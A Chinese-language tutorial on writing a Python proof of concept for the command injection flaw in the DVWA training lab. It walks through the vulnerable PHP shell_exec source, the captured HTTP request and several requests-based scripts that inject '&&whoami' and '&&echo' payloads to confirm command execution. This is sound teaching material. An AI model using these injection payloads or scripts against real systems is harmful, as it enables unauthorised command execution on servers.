1 概述
1.1 什么是POC?
POC(全稱: Proof of concept), 中文譯作概念驗證。在安全界可以理解成漏洞驗證程序。和一些應用程序相比,PoC 是一段不完整的程序,僅僅是為了證明提出者的觀點的一段代碼。
1.2 實驗環境
- PyCharm
- Python/ target=_blank class=infotextkey>Python 3.8.0
- lxml 4.8.0
- requests 2.27.1
- mihun 1.0
- DVWA 1.10
1.3 安裝環境
pip install requests==2.27.1
pip install bs4==0.0.1
pip install lxml==4.8.0
2 分析漏洞
本次漏洞使用 DVWA(Damn Vulnerable Web App) 是一個用來進行安全脆弱性鑒定的php/MySQL Web 應用,旨在為安全專業人員測試自己的專業技能和工具提供合法的環境,幫助web開發者更好的理解web應用安全防范的過程。mihun滲透靶場 已經集成DVWA。
http://mihun-ip/
2.1 漏洞分析
user: admin
password: password
登入DVWA系統,將 DVWA Security 修改為low,本次使用 Command Injection(命令注入) 模塊作為此次POC驗證漏洞點

2.2 如何觸發漏洞?
Command Injection(命令注入) 模塊用于驗證網絡是否通暢,由于對輸入的參數檢查不嚴格導致任意命令執行
ping sechelper.cn && whoami

2.3 源碼分析
Command Injection 模塊源碼
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = $_REQUEST[ 'ip' ];
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// Feedback for the end user
echo "<pre>{$cmd}</pre>";
}
?>
分析上面源碼發現ip參數未過濾被帶入命令執行函數shell_exec,利用linux/win命令特性拼接參數 sechelper.cn&&whoami
偽代碼如下:
shell_exec( 'ping -c 4 ' . $target ) == shell_exec('ping -c 4 sechelper.cn&&whoami' );
3 編寫驗證程序
使用PyCharm 創建一個python項目

3.1 分析http數據包
使用火狐瀏覽器按 F12 開啟Firebug開發者模式,選擇網絡 重新觸發漏洞觀察http請求

文件列 /vulnerabilities/exec/ 是接口地址,方法是 POST ,域名是 192.168.17.5 ,完整http請求包如下:
POST /vulnerabilities/exec/ HTTP/1.1
Host: 192.168.17.5
User-Agent: Mozilla/5.0 (macintosh; Intel Mac OS X 10.15; rv:99.0) Gecko/20100101 Firefox/99.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 17
Origin: http://192.168.17.5
Connection: keep-alive
Referer: http://192.168.17.5/vulnerabilities/exec/
Cookie: PHPSESSID=07ffg4rcbufo5Gekqch8v86226; security=low
Upgrade-Insecure-Requests: 1
ip=192.168.17.5&Submit=Submit
3.2 構建初版代碼
漏洞的信息已經知道的差不多,開始編寫代碼
# coding=utf-8
import requests
url = "http://192.168.17.5/vulnerabilities/exec/"
data = {"ip": "sechelper.cn"}
# 禁止跳轉 allow_redirects = False
response = requests.post(url, data, allow_redirects=False)
print("狀態: {}".format(response.status_code))
print("302跳轉地址:{}".format(response.next.url))
執行上面代碼返回狀態 302,不應該是200 嗎?為什么返回 302 ?,觀察控制臺內打印出的跳轉地址是登入界面,原來/vulnerabilities/exec/ 有授權驗證,未授權會跳轉到登入界面

3.3 請求授權接口
怎么才能授權呢?
這里就不分析登入的過程了,登入信息保存在Cookie內,在請求頭內加入 cookie 頭
# coding=utf-8
import requests
url = "http://192.168.17.5/vulnerabilities/exec/"
# Cookie: PHPSESSID=07ffg4rcbufo5gekqch8v86226; security=low
headers = {"cookie": "PHPSESSID=07ffg4rcbufo5gekqch8v86226; security=low"}
data = {"ip": "sechelper.cn&&whoami", "Submit": "Submit"}
# 禁止跳轉 allow_redirects = False
response = requests.post(url, data, allow_redirects=False, headers=headers)
print("狀態: {}".format(response.status_code))
print("結果:{}".format(response.text))

從結果內看出代碼已經可以訪問并利用 /vulnerabilities/exec/ 存在漏洞接口,那么如何使用代碼快速識別出漏洞是否存在呢?
3.4 快速驗證漏洞兩種方法
特征方式匹配返回結果里的特征檢測漏洞是否存在,匹配到 自定義 的字符則表示漏洞存在
# coding=utf-8
import requests
url = "http://192.168.17.5/vulnerabilities/exec/"
# Cookie: PHPSESSID=07ffg4rcbufo5gekqch8v86226; security=low
headers = {"cookie": "PHPSESSID=07ffg4rcbufo5gekqch8v86226; security=low"}
data = {"ip": "192.168.17.5&&echo sechelper", "Submit": "Submit"}
# 禁止跳轉 allow_redirects = False
response = requests.post(url, data, allow_redirects=False, headers=headers)
if response.status_code == 200 and response.text.find("sechelper") != -1:
print("[*] {} is weak".format(url))
else:
print("[x] {} is safe".format(url))
print("Detection completed...")

關鍵輸出方式輸出關鍵信息人工判斷是否成功,一些復雜的漏洞利用需要使用這種方式
# coding=utf-8
import requests
url = "http://192.168.17.5/vulnerabilities/exec/"
# Cookie: PHPSESSID=07ffg4rcbufo5gekqch8v86226; security=low
headers = {"cookie": "PHPSESSID=3eabqr5lprmsir8n0211bolpn1; security=low"}
data = {"ip": "192.168.111.129&&echo sechelper", "Submit":"Submit"}
# 禁止跳轉 allow_redirects = False
response = requests.post(url, data, allow_redirects=False, headers=headers, timeout=5)
if response.status_code == 200:
from bs4 import BeautifulSoup
soup = BeautifulSoup(response.text, 'lxml')
# 在html找到第一個pre標簽并返回,取出內容就是命令執行的結果
pre = soup.find("pre")
print("[*] response {}".format(pre.text))
print("Detection completed...")
4 結束語
滲透過程中自己寫腳本可以更方便快捷的做一些事情,滲透測試很難全程自動化,寫一些小工具可以顯著提高滲透效率,想要做一個合格白帽子會一門語言是很有必要的。關注至察助安微信公眾號,專注網絡安全優質知識分享,無優質,不分享。